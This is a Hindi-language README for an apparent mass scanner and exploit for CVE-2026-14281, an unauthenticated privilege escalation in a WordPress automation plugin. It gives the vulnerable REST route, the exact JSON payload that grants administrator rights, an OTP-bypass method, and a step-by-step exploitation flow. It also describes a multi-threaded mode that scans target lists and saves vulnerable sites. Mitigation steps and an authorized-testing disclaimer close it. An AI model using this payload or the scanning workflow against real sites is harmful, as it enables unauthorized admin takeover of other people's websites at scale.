LANGZ स्कैनर + एक्सप्लॉइट

CVE-2026-14281 के लिए मास स्कैनर + सिंगल-टार्गेट एक्सप्लॉइट — WordPress Automation Web Platform (WAWP) प्लगइन <= 4.8.6 में एक अनऑथेंटिकेटेड प्रिविलेज एस्केलेशन।

---

CVE-2026-14281 क्या है?

WordPress प्लगइन Automation Web Platform (द्वारा 101gen) में अनुचित प्रिविलेज प्रबंधन (CWE-269)। संस्करण <= 4.8.6 प्रभावित हैं।

फ़ील्ड	मान
CVE	CVE-2026-14281
प्रकार	अनऑथेंटिकेटेड प्रिविलेज एस्केलेशन
CVSS	9.8 (CRITICAL)
प्रमाणीकरण	किसी की आवश्यकता नहीं
प्रभावित	WAWP प्लगइन <= 4.8.6

मूल कारण

प्लगइन एक सार्वजनिक REST रूट को उजागर करता है:

POST /wp-json/wawp/v1/signup/<op>

कोई अनुमति जाँच नहीं। हैंडलर हमलावर-नियंत्रित wawp_custom_fields को update_user_meta() में कॉपी करता है — कोई allowlist नहीं। हमलावर सेट करता है:

{
  "wawp_custom_fields": {
    "wp_capabilities": {"administrator": true},
    "wp_user_level": "10"
  }
}

परिणाम: नए खाते को administrator भूमिका मिल जाती है।

बोनस: OTP बायपास

OTP टोकन (otp_transient) प्रतिक्रिया बॉडी में सादे टेक्स्ट में लौटाया जाता है। उस टोकन के साथ एक GET अनुरोध इसे सत्यापित चिह्नित कर देता है — किसी ईमेल/SMS की आवश्यकता नहीं।

---

प्रभाव

• WordPress तक पूर्ण admin पहुँच
• प्लगइन और थीम इंस्टॉल / हटाएँ
• उपयोगकर्ताओं का प्रबंधन करें, सामग्री संशोधित करें
• admin एडिटर के माध्यम से संभावित RCE

---

शोषण प्रवाह

1. /wp-json/wawp/v1/signup/ पर wp_capabilities: administrator के साथ पेलोड POST करें
2. प्रतिक्रिया से सादे टेक्स्ट टोकन का उपयोग करके OTP बायपास करें
3. नए क्रेडेंशियल्स के साथ /wp-login.php पर लॉगिन करें
4. /wp-admin/users.php तक पहुँच कर पुष्टि करें

---

आवश्यकताएँ

• Python 3.7+
• requests, urllib3

---

इंस्टॉलेशन

git clone https://github.com/yourname/langz-scanner.git
cd langz-scanner
pip install requests urllib3

---

उपयोग

python3 CVE-2026-14281.py

[1] Mass Scan        -> detect many targets, save vuln to txt
[2] Verify Single    -> exploit + confirm + auto cleanup
[0] Exit

Mass Scan: इनपुट टार्गेट लिस्ट फ़ाइल, आउटपुट फ़ाइल (डिफ़ॉल्ट vuln.txt), थ्रेड काउंट (डिफ़ॉल्ट 20)।

Verify Single: YA टाइप करें, टार्गेट URL दर्ज करें। टूल एक अस्थायी admin बनाता है, सत्यापित करता है, फिर साफ़ करता है।

---

आउटपुट

vuln.txt में केवल पुष्टि किए गए कमज़ोर URLs होते हैं, प्रति पंक्ति एक:

http://target1.com
https://target2.org

---

शमन

1. प्लगइन को 4.8.6 से आगे अपडेट करें
2. यदि कोई पैच नहीं: प्लगइन अक्षम करें या /wp-json/wawp/v1/signup/ को ब्लॉक करें
3. दुष्ट admin खातों के लिए ऑडिट करें
4. यदि समझौता हुआ हो तो क्रेडेंशियल्स रोटेट करें

---

अस्वीकरण

For AUTHORIZED SECURITY TESTING only.
Do not use against systems you don't own or have permission to test.
The developer assumes no responsibility for misuse.

---